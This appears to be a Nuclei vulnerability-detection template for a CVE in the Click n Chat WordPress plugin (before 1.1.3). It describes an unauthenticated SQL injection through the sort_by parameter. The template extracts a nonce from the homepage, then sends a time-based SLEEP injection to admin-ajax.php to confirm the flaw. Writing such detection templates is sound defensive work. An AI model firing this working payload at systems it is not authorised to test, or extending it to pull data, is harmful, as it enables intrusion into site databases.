CVE-2026-92998: Click n Chat < 1.1.3 - Unauthenticated SQL Injection

id: CVE-2026-92998

info:
  name: Click n Chat < 1.1.3 - Unauthenticated SQL Injection
  author: HaroonArshad-53
  severity: high
  description: |
    The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.
  remediation: |
    Upgrade to version 1.1.3 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-92998
    - https://nvd.nist.gov/vuln/detail/CVE-2026-92998
    - https://wordpress.org/plugins/click-n-chat/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-92998
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: click-n-chat
    product: click-n-chat
  tags: cve,cve2026,sqli,wordpress,wp-plugin,click-n-chat,time-based-sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "click_n_chat_ajax_object")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        part: body
        group: 1
        regex:
          - '"nonce"\s*:\s*"([0-9a-f]+)"'

  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=click_n_chat_update_lead_list_action&security={{nonce}}&page=1&sort_by=%28CASE+WHEN+%281%3D1%29+THEN+SLEEP%283%29+ELSE+0+END%29&sort_order=ASC&search%5Bname%5D=&search%5Bemail%5D=&search%5Bphone%5D=&search%5Bdate%5D=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration >= 3'
          - 'contains(body, "data-colname")'
        condition: and
# digest: 4b0a004830460221008673794653484871a3ff6264847cf0f65e265c1c5c3162871445e551c53e707e022100d57b3657dceb6ca358bcdef60b54fe51f5badf2381e1e3d851dcb04660244739:922c64590222798bb761d5b6d8e72950

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